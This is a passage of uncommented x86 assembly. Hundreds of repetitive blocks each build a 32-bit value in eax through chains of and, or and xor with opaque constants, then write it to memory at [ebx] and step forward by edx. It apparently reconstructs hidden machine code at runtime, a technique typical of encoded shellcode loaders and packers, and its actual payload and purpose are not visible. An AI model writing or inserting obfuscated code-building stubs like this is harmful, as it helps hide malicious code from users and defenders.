or eax, 0x521b03eb
and eax, 0x4000
or eax, 0x1810
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f765adb
or eax, 0x6f3ceed1
and eax, 0x6f2444c1
or eax, 0x10c00106
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a736705
and eax, 0x47000085
or eax, 0x80000030
mov dword [ebx], eax
add ebx, edx
and eax, 0x1419ad21
or eax, 0xf6c33ab
and eax, 0xb283001
or eax, 0xa002c444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a71d85c
xor eax, 0x6a9c742b
and eax, 0x1c70000
or eax, 0x44000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x521a5f1e
and eax, 0x89100c
or eax, 0x2080e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1029a3a5
xor eax, 0xdad8d1d
and eax, 0x1c040600
or eax, 0xc041c100
mov dword [ebx], eax
add ebx, edx
or eax, 0x22f00c18
and eax, 0x4c08
or eax, 0x2003
mov dword [ebx], eax
add ebx, edx
or eax, 0x392a28c4
or eax, 0x24f0b1f2
and eax, 0x1ce845c7
or eax, 0x42000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78af87a
and eax, 0x4100013d
or eax, 0x86000040
mov dword [ebx], eax
add ebx, edx
and eax, 0x291d2c84
and eax, 0x1000004
or eax, 0xb0a1d441
mov dword [ebx], eax
add ebx, edx
or eax, 0x27049be5
and eax, 0x5850000
or eax, 0x40420000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b6cbc7a
or eax, 0x64b1c8cf
and eax, 0xab14b4
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
and eax, 0x55793c86
and eax, 0x10400
or eax, 0xfc44c300
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d9310ce
xor eax, 0x69c579a3
and eax, 0x8a6c
or eax, 0x112
mov dword [ebx], eax
add ebx, edx
or eax, 0x28d1907d
and eax, 0x2457ca2c
and eax, 0x20400004
or eax, 0xdfa045c3
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d9dfe29
and eax, 0x45000000
or eax, 0x820000ce
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d00a2c6
and eax, 0x800a044
or eax, 0x10811c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5393409e
and eax, 0x2000000
or eax, 0xb4e80000
mov dword [ebx], eax
add ebx, edx
or eax, 0xa1dc942
and eax, 0x8a000002
or eax, 0x10000a9
mov dword [ebx], eax
add ebx, edx
or eax, 0x7991e4d9
and eax, 0xe001e441
or eax, 0x2c1804
mov dword [ebx], eax
add ebx, edx
or eax, 0x40b9f378
or eax, 0x513ff520
and eax, 0x81000050
or eax, 0x8000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2cac3f3c
and eax, 0x5883c44
or eax, 0x4803c001
mov dword [ebx], eax
add ebx, edx
and eax, 0x336d91c8
or eax, 0x1606c9c4
and eax, 0x140d09c0
or eax, 0xe8402238
mov dword [ebx], eax
add ebx, edx
or eax, 0x38fcfff0
xor eax, 0x2c61b0d2
and eax, 0xc0984d08
or eax, 0x2b600081
mov dword [ebx], eax
add ebx, edx
or eax, 0x4066de67
or eax, 0x2d256f00
and eax, 0xe8558b09
or eax, 0x10000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x795d3178
and eax, 0x66ccd1cf
and eax, 0x8001
or eax, 0x89014282
mov dword [ebx], eax
add ebx, edx
and eax, 0x29c698ad
or eax, 0x1a1edc01
and eax, 0x10ad801
or eax, 0x44812054
mov dword [ebx], eax
add ebx, edx
or eax, 0x9274ba
and eax, 0x138f8
or eax, 0xb0440300
mov dword [ebx], eax
add ebx, edx
and eax, 0x508ccacb
xor eax, 0xf063609
and eax, 0x20c01
or eax, 0xa5810e
mov dword [ebx], eax
add ebx, edx
or eax, 0x54f25dc7
and eax, 0x44830000
or eax, 0x9080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x71ae9229
and eax, 0x40080000
or eax, 0x84453be4
mov dword [ebx], eax
add ebx, edx
and eax, 0x237332fd
and eax, 0x11064
or eax, 0x558a0119
mov dword [ebx], eax
add ebx, edx
and eax, 0x33906db0
and eax, 0x49d35b3f
and eax, 0x120
or eax, 0xf0552acc
mov dword [ebx], eax
add ebx, edx
or eax, 0x18dfe756
and eax, 0x408b0974
or eax, 0x5000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x688981ca
and eax, 0x800140
or eax, 0x14082bc
mov dword [ebx], eax
add ebx, edx
or eax, 0x5581446a
and eax, 0x1c04588
or eax, 0x8a3c0001
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fc1f5d5
or eax, 0x6f21868a
and eax, 0xc181d44d
or eax, 0x20800
mov dword [ebx], eax
add ebx, edx
or eax, 0x2761a1b2
or eax, 0xdd76210
and eax, 0xcc458901
or eax, 0x10080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x13887eb0
and eax, 0
or eax, 0x83f0558b
mov dword [ebx], eax
add ebx, edx
xor eax, 0xff5d0ee
or eax, 0x1f6e6ebe
and eax, 0x150901c2
or eax, 0x40800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x41747d35
and eax, 0x144508f0
or eax, 0xe0008300
mov dword [ebx], eax
add ebx, edx
and eax, 0x309da227
and eax, 0x30040000
or eax, 0x45e8450b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22f934b
or eax, 0x40830382
and eax, 0x60418302
or eax, 0x880c0838
mov dword [ebx], eax
add ebx, edx
and eax, 0x131f3fb7
and eax, 0x40900
or eax, 0xff708489
mov dword [ebx], eax
add ebx, edx
and eax, 0x36b72256
and eax, 0x14000000
or eax, 0x418bffff
mov dword [ebx], eax
add ebx, edx
or eax, 0x1aa433c7
and eax, 0x78acc7c9
and eax, 0x508481c0
or eax, 0x20110810
mov dword [ebx], eax
add ebx, edx
or eax, 0x6db7a35b
and eax, 0x4e6e789e
and eax, 0x826289a
or eax, 0x83d9d765
mov dword [ebx], eax
add ebx, edx
and eax, 0x65f01172
and eax, 0x801040
or eax, 0xc003c005
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ed42193
and eax, 0xd0458101
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47cd4bb5
and eax, 0x97008080
or eax, 0x68740d0b
mov dword [ebx], eax
add ebx, edx
or eax, 0x343427c8
and eax, 0x8d30afcb
or eax, 0xb5034
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e8d06d3
xor eax, 0xad872e8
and eax, 0x95678d10
or eax, 0x6a987260
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c7738c0
and eax, 0x54031840
or eax, 0x188023d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d9f2d4f
xor eax, 0x567438ae
and eax, 0x400394
or eax, 0x1828020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37f6b3f
and eax, 0x2b44089
or eax, 0x89001500
mov dword [ebx], eax
add ebx, edx
or eax, 0x38b4921
and eax, 0x13b1401
or eax, 0x4400a044
mov dword [ebx], eax
add ebx, edx
or eax, 0x47391b60
and eax, 0x2f3c16b6
and eax, 0x3081404
or eax, 0x880169c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c26de4c
and eax, 0x8005c4c
or eax, 0xe1838001
mov dword [ebx], eax
add ebx, edx
and eax, 0x52b2ae87
and eax, 0x40008801
or eax, 0x9c4d0100
mov dword [ebx], eax
add ebx, edx
or eax, 0x26d0a0fb
and eax, 0x82d4018b
or eax, 0x1205400
mov dword [ebx], eax
add ebx, edx
or eax, 0x5093708e
and eax, 0x51810182
or eax, 0x4080040
mov dword [ebx], eax
add ebx, edx
or eax, 0x357f3149
and eax, 0x604501c0
or eax, 0x88008a34
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c7d43bc
and eax, 0x8010080
or eax, 0x8100c003
mov dword [ebx], eax
add ebx, edx
and eax, 0x5fe58f16
and eax, 0x9018000
or eax, 0x448a6845
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d97687c
and eax, 0x78c98b0f
and eax, 0x810000
or eax, 0x16883c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x595b1fd1
and eax, 0x9c00d81
or eax, 0x82004008
mov dword [ebx], eax
add ebx, edx
or eax, 0x1378d307
and eax, 0x27b6ff78
and eax, 0x120dc00
or eax, 0x54032055
mov dword [ebx], eax
add ebx, edx
or eax, 0x48781b71
and eax, 0x11fab460
and eax, 0x1083460
or eax, 0x8a014080
mov dword [ebx], eax
add ebx, edx
or eax, 0x6df5a2cd
and eax, 0xc081c445
or eax, 0x20800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76953cf
and eax, 0xc4408900
or eax, 0x8050001
mov dword [ebx], eax
add ebx, edx
or eax, 0x2092b3b1
and eax, 0x41526196
and eax, 0x40520080
or eax, 0xbfad4469
mov dword [ebx], eax
add ebx, edx
and eax, 0x617027d8
and eax, 0x76705654
and eax, 0x40400040
or eax, 0x840d8bbf
mov dword [ebx], eax
add ebx, edx
and eax, 0x12e9e5e7
and eax, 0x418181
or eax, 0x99844000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a9f74c0
and eax, 0x8810000
or eax, 0x45080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f1d875b
xor eax, 0x389a7874
and eax, 0x34110844
or eax, 0xc8448380
mov dword [ebx], eax
add ebx, edx
xor eax, 0x92fec79
and eax, 0x900623a
and eax, 0x1004000
or eax, 0x88c41503
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ed5f74a
and eax, 0x8c05400
or eax, 0x12ba855
mov dword [ebx], eax
add ebx, edx
and eax, 0x5346354e
and eax, 0x5929a88d
and eax, 0x1000000
or eax, 0x82fc458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x336c97ed
or eax, 0x743e499c
and eax, 0x458801c0
or eax, 0x10000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c23b496
and eax, 0x136fee63
and eax, 0x10000
or eax, 0xfc4c8bfc
mov dword [ebx], eax
add ebx, edx
and eax, 0x5fe30a55
xor eax, 0x786b148e
and eax, 0x4280c1a
or eax, 0xbd04121
mov dword [ebx], eax
add ebx, edx
and eax, 0x15a984ab
and eax, 0x409
or eax, 0xf884
mov dword [ebx], eax
add ebx, edx
or eax, 0x7560de3d
and eax, 0x54408a00
or eax, 0x80150100
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c443d2c
and eax, 0x14400100
or eax, 0x6980543b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x129b3cb3
or eax, 0x3be43e30
and eax, 0x74450b38
or eax, 0x80008042
mov dword [ebx], eax
add ebx, edx
or eax, 0x90583f5
and eax, 0x7d40013b
or eax, 0x984400
mov dword [ebx], eax
add ebx, edx
and eax, 0x1efaaf65
and eax, 0xc480120
or eax, 0xe0058a52
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b5c6fb
and eax, 0x8801c183
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33371003
and eax, 0x21ec91e
and eax, 0x2c000
or eax, 0x55892c4d
mov dword [ebx], eax
add ebx, edx
and eax, 0x666e5ff9
xor eax, 0x7905014c
and eax, 0x10050904
or eax, 0xc05002e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x1661e59b
and eax, 0x10400108
or eax, 0x6d885433
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e64831f
and eax, 0x5044831e
or eax, 0x80010840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2391ac71
and eax, 0xf3440509
or eax, 0xc288080
mov dword [ebx], eax
add ebx, edx
and eax, 0xb27f91b
and eax, 0x9008109
or eax, 0x448b7ef6
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f2f9a77
and eax, 0x1800f448
and eax, 0x8008040
or eax, 0x608d0988
mov dword [ebx], eax
add ebx, edx
or eax, 0x210ed776
and eax, 0x98fdffe
or eax, 0x82702001
mov dword [ebx], eax
add ebx, edx
or eax, 0x323038b
or eax, 0x229f3683
and eax, 0x8283c855
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7731aa29
and eax, 0x40018801
or eax, 0x88540100
mov dword [ebx], eax
add ebx, edx
and eax, 0x3dcfa713
and eax, 0x8448101
or eax, 0xf728048a
mov dword [ebx], eax
add ebx, edx
or eax, 0xac93402
and eax, 0x8529b58b
or eax, 0x124a74
mov dword [ebx], eax
add ebx, edx
or eax, 0xc1cd4d5
and eax, 0x407d5fc9
and eax, 0x3d5f48
or eax, 0xffc2a020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6706677b
or eax, 0x571a2db2
and eax, 0x4d8b3531
or eax, 0x4c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e39ba80
and eax, 0x380933f4
or eax, 0x80440000
mov dword [ebx], eax
add ebx, edx
or eax, 0x35c9bfd3
and eax, 0xbd448d81
or eax, 0x42200008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d5d29a
and eax, 0x54815f13
or eax, 0x10aa0ec
mov dword [ebx], eax
add ebx, edx
and eax, 0xeef351c
and eax, 0x810118
or eax, 0x601488c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4878fe6b
or eax, 0x73eeddb2
and eax, 0xbefffb3
or eax, 0x8010004c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3dce7a67
and eax, 0x61bb068f
and eax, 0x20830005
or eax, 0xc800b840
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d248e09
or eax, 0x6ea3870b
and eax, 0xa8058901
or eax, 0x10400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cb72c2b
and eax, 0x8040801
or eax, 0xf760858a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e444120
and eax, 0xd118a12
and eax, 0xd008802
or eax, 0x803b77fd
mov dword [ebx], eax
add ebx, edx
or eax, 0x3643c41c
and eax, 0xbf7bff60
or eax, 0x40840000
mov dword [ebx], eax
add ebx, edx
and eax, 0x765aed2c
and eax, 0xbfdcc44
and eax, 0x80800
or eax, 0x5583017d
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e81288d
and eax, 0x800008
or eax, 0x14283d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x289b0437
xor eax, 0x55df4f9e
and eax, 0x8804001
or eax, 0x83581588
mov dword [ebx], eax
add ebx, edx
and eax, 0x42a2943a
and eax, 0x800000
or eax, 0xc003e045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x93976a1
and eax, 0xc0008000
or eax, 0x20450901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29514300
xor eax, 0x152c03d3
and eax, 0x80184982
or eax, 0x3c40409
mov dword [ebx], eax
add ebx, edx
or eax, 0x21740193
and eax, 0xbc36d4
and eax, 0x880080
or eax, 0x4d010141
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d92051b
and eax, 0x100
or eax, 0xb0558adc
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f54f113
and eax, 0x30540110
or eax, 0x4d80542b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3cccf671
or eax, 0x62972bad
and eax, 0x60058b09
or eax, 0x84400010
mov dword [ebx], eax
add ebx, edx
or eax, 0x37bec0e9
or eax, 0x4445509a
and eax, 0x75b4413b
or eax, 0x8000400
mov dword [ebx], eax
add ebx, edx
and eax, 0x54e58888
and eax, 0x54040000
or eax, 0xa0498b11
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b54ffd1
xor eax, 0x309e9a1c
and eax, 0x101
or eax, 0x8901c082
mov dword [ebx], eax
add ebx, edx
and eax, 0x475c139b
and eax, 0x1000001
or eax, 0x548bf44c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61ef79e5
and eax, 0x344409a8
or eax, 0xc0113210
mov dword [ebx], eax
add ebx, edx
or eax, 0x2dcc32b5
or eax, 0x21b646e
and eax, 0x458b117c
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1bf78dbd
and eax, 0xa74753d
and eax, 0x400130
or eax, 0x18082c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c871b03
and eax, 0x9c00181
or eax, 0x82304408
mov dword [ebx], eax
add ebx, edx
or eax, 0x1806d40
xor eax, 0x1caee864
and eax, 0x51a800d
or eax, 0x48217040
mov dword [ebx], eax
add ebx, edx
or eax, 0x4677c90e
and eax, 0xb097948
or eax, 0x80000490
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c639857
and eax, 0xe202c005
or eax, 0x8811050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f766935
and eax, 0x90558900
or eax, 0x40000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14bedba3
and eax, 0x66058186
and eax, 0x82
or eax, 0xbc44509
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ed03e11
and eax, 0x45104001
or eax, 0x2b8044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f2f3552
and eax, 0xa147510
or eax, 0x810908c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c964042
xor eax, 0x326521ff
and eax, 0x831200d
or eax, 0x450a9040
mov dword [ebx], eax
add ebx, edx
and eax, 0x764374c0
and eax, 0x13040
or eax, 0x8b144d90
mov dword [ebx], eax
add ebx, edx
xor eax, 0x604503fc
or eax, 0xe589160
and eax, 0xaf08cc44
or eax, 0x70011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15c68017
and eax, 0x10094040
or eax, 0x4532b015
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4da46462
xor eax, 0x6e2c5a09
and eax, 0x2014c28
or eax, 0x890831c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1bd575b9
and eax, 0x4242e095
and eax, 0x6001
or eax, 0xe8839044
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d935f0f
and eax, 0xf0018901
or eax, 0x440000
mov dword [ebx], eax
add ebx, edx
or eax, 0x32b5875d
and eax, 0xf2f48f49
or eax, 0xd0a60a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b0623f4
and eax, 0xc84c8bfd
or eax, 0x10002
mov dword [ebx], eax
add ebx, edx
or eax, 0x27eb73aa
xor eax, 0x7c0658fa
and eax, 0x81018101
or eax, 0x8004082
mov dword [ebx], eax
add ebx, edx
and eax, 0x48396a21
and eax, 0x14001
or eax, 0x558a884c
mov dword [ebx], eax
add ebx, edx
and eax, 0x47e4242
or eax, 0x4a906342
and eax, 0x4c102340
or eax, 0xb04518a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58ad2b3b
and eax, 0x4c0005d
or eax, 0x41070920
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ce97a88
and eax, 8
or eax, 0x1a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ce20180
xor eax, 0x445fe38a
and eax, 0x4407e200
or eax, 0x83000900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77e7e532
and eax, 0xc00
or eax, 0xa045
mov dword [ebx], eax
add ebx, edx
or eax, 0x396aef68
xor eax, 0x224fe95c
and eax, 0x1010000
or eax, 0x448a0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60c15e7a
xor eax, 0x4de6ad14
and eax, 0x2804034c
or eax, 0x84410890
mov dword [ebx], eax
add ebx, edx
and eax, 0x55bf817f
or eax, 0xf53ef27
and eax, 0xd032a75
or eax, 0x40881000
mov dword [ebx], eax
add ebx, edx
or eax, 0x74e5a8cd
and eax, 0x4a375b9d
and eax, 0x51a94
or eax, 0xb4482160
mov dword [ebx], eax
add ebx, edx
or eax, 0x7955668b
and eax, 0x5509117d
or eax, 0x820000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2fc38bda
and eax, 0x4082a0
or eax, 0x1820118
mov dword [ebx], eax
add ebx, edx
and eax, 0x7431f624
and eax, 0
or eax, 0x8bb85589
mov dword [ebx], eax
add ebx, edx
and eax, 0x61bf5261
and eax, 0x1281001
or eax, 0x4403a844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fa9849e
or eax, 0x26737639
and eax, 0xa2174e8
or eax, 0x81000104
mov dword [ebx], eax
add ebx, edx
and eax, 0x62b7cec2
xor eax, 0x27af9208
and eax, 0x50ac048
or eax, 0x48312805
mov dword [ebx], eax
add ebx, edx
and eax, 0x4dde3b05
and eax, 0xd080800
or eax, 0x928507e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a83c10e
and eax, 0x81000000
or eax, 0xa000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5757b9a
xor eax, 0x26194295
and eax, 0xa8003805
or eax, 0x4283c450
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3dd53e4d
or eax, 0x5b0ff075
and eax, 0xdc558001
or eax, 0x20000900
mov dword [ebx], eax
add ebx, edx
or eax, 0x27dbf4a0
xor eax, 0x136485b
and eax, 0x3ae0058a
or eax, 0x1104001
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a9ae91c
and eax, 0x8004000
or eax, 0x850fbc45
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe61d177
or eax, 0x5f3fd39e
and eax, 0x8a
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25bf329b
and eax, 0x7a958e13
and eax, 0x800001
or eax, 0x83684d8a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c05bfa6
and eax, 0x4b2d55
and eax, 0x90001
or eax, 0x4d8001c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x28d24caf
and eax, 0x405109e8
or eax, 0x90048200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fbe475a
and eax, 0xbe84402
or eax, 0x30001101
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f3f8679
and eax, 0x8280401
or eax, 0x2455c854
mov dword [ebx], eax
add ebx, edx
xor eax, 0x336bbef0
and eax, 0x3144081
or eax, 0xc8050a
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ee22baa
and eax, 0x800000
or eax, 0x8509f845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1221be22
and eax, 0xf55bdc8
and eax, 0x7000440
or eax, 0xf8fffb1c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4470a03b
and eax, 0x3f40f8dd
and eax, 0x9004801
or eax, 0x80e0058a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71291bba
and eax, 0xf8c95001
or eax, 0x736088c
mov dword [ebx], eax
add ebx, edx
and eax, 0xfec9d8
and eax, 0x540888
or eax, 0xf8018377
mov dword [ebx], eax
add ebx, edx
or eax, 0x3dd16ea
xor eax, 0x21d0331e
and eax, 0x88018081
or eax, 0x1004202
mov dword [ebx], eax
add ebx, edx
or eax, 0x137c206a
and eax, 0x8109e041
or eax, 0x4821814
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f35380f
and eax, 0x5013804
or eax, 0xfafec758
mov dword [ebx], eax
add ebx, edx
xor eax, 0x368a1e27
and eax, 0x6754d1bb
and eax, 0x4150813b
or eax, 0xbe080400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b5cf02d
and eax, 0x30047516
or eax, 0x9788ae9
mov dword [ebx], eax
add ebx, edx
or eax, 0x63bea039
or eax, 0x7187cddb
and eax, 0x3bc44d8b
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e0379a7
or eax, 0x6584a58
and eax, 0x28584849
or eax, 0x1258004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x559213ab
and eax, 0x8c45182
or eax, 0x81100409
mov dword [ebx], eax
add ebx, edx
or eax, 0x31fb2d47
or eax, 0x1731e63c
and eax, 0xbfff5495
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x631f25d5
and eax, 0x48d7782b
and eax, 0x40450001
or eax, 0xb0008bfe
mov dword [ebx], eax
add ebx, edx
xor eax, 0x179080d6
or eax, 0x2a2190b7
and eax, 0xef508189
or eax, 0x10000400
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c39a8c8
xor eax, 0x3ceeea43
and eax, 0x408a6acb
or eax, 0xd019534
mov dword [ebx], eax
add ebx, edx
and eax, 0x60e81848
and eax, 0x880040
or eax, 0x16183b0
mov dword [ebx], eax
add ebx, edx
or eax, 0x12dfbcb7
and eax, 0x3f00d81
or eax, 0x88004008
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ae11f16
or eax, 0x6d5c0884
and eax, 0xfffd5495
or eax, 0x20000
mov dword [ebx], eax
add ebx, edx
and eax, 0x495ee30
and eax, 0x124276c2
and eax, 0
or eax, 0x50953bff
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35ff69c1
and eax, 0x646a523e
or eax, 0x1895adc1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35249127
or eax, 0x217bd19b
and eax, 0x28418b08
or eax, 0x94040000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4fa2b338
and eax, 0x4000100
or eax, 0x70d84423
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb9fec23
and eax, 0x34458900
or eax, 0x80080211
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52328487
xor eax, 0x28f01b89
and eax, 0x4c88041b
or eax, 0x31504920
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d875448
or eax, 0x146039dc
and eax, 0x400908
or eax, 0xe0158201
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cca95e6
and eax, 0x12adc1a5
and eax, 0x10081
or eax, 0x8900ea02
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d6dc286
xor eax, 0x6a6dafed
and eax, 0x44018040
or eax, 0x18a6015
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e4478f4
or eax, 0x5f940bad
and eax, 0x1a590108
or eax, 0x80000410
mov dword [ebx], eax
add ebx, edx
or eax, 0x212f7844
and eax, 0x13250000
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7fa63e27
xor eax, 0x2ea4293f
and eax, 8
or eax, 0x350000c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x31a21fb4
and eax, 0
or eax, 0x8042
mov dword [ebx], eax
add ebx, edx
or eax, 0x371d18b9
and eax, 0x104088b
or eax, 0x80204500
mov dword [ebx], eax
add ebx, edx
and eax, 0x277a6953
and eax, 0x35010fc5
and eax, 0x901
or eax, 0x2886c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48ea3799
xor eax, 0x526f621
and eax, 0xde00000
or eax, 0xa0118100
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ab07b41
and eax, 0xad343b6
and eax, 0x8000000
or eax, 0x800000ba
mov dword [ebx], eax
add ebx, edx
or eax, 0x358e0a7e
xor eax, 0x68d5145d
and eax, 0x1a1881
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
and eax, 0x31d9a69e
and eax, 0x100000
or eax, 0x14458b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x216c775b
or eax, 0x16297830
and eax, 0x1331f001
or eax, 0x40840280
mov dword [ebx], eax
add ebx, edx
and eax, 0x46ec5fe3
and eax, 0x42800000
or eax, 0xb0010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x45015866
xor eax, 0x4c4d31f
and eax, 0x5013
or eax, 0xc00
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a340bb3
and eax, 0x507172c5
and eax, 1
or eax, 0x3520458a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ab4bcce
and eax, 0x2801
or eax, 0x610
mov dword [ebx], eax
add ebx, edx
and eax, 0x732dc92
xor eax, 0x200e5149
and eax, 0x20809
or eax, 0x808204
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63f2949c
or eax, 0x2c546864
and eax, 0x6a643400
or eax, 0x908b0100
mov dword [ebx], eax
add ebx, edx
and eax, 0xb9353f5
and eax, 0x43a5b938
and eax, 0x800000
or eax, 0x90080000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x194bfa04
and eax, 0x1a00
or eax, 0x418
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32f79f68
and eax, 0x59edfba2
and eax, 0xc40100
or eax, 0x81184c8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x1087694f
and eax, 0x34dc9
or eax, 0x1220
mov dword [ebx], eax
add ebx, edx
or eax, 0x353e1084
and eax, 0x140d0900
or eax, 0xc8408000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x28437edd
and eax, 0x45589
or eax, 0x3e00002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d7cd4b6
xor eax, 0x531ce5ea
and eax, 0x15804455
or eax, 0x40099800
mov dword [ebx], eax
add ebx, edx
and eax, 0x33cb4e16
and eax, 0x1094804
or eax, 0x8a00a3e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2598426f
and eax, 0x4044
or eax, 0xc083a401
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc791ffb
and eax, 0xc4408900
or eax, 0x20050001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x672dc411
and eax, 0xa8d41d4
and eax, 0x2004100
or eax, 0x39e40c8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcefe747
and eax, 0x50b884c
or eax, 0x88045001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fd3925e
xor eax, 0x3417263f
and eax, 0xc
or eax, 0x191
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bee57b9
and eax, 0x3e45589
or eax, 0x80100002
mov dword [ebx], eax
add ebx, edx
and eax, 0x7584f6ee
and eax, 0x6c6b4e97
and eax, 0x82
or eax, 0x55890140
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78c32b81
and eax, 0x400a40
or eax, 0xd00581b4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5abb8544
and eax, 0x88000080
or eax, 0x101c003
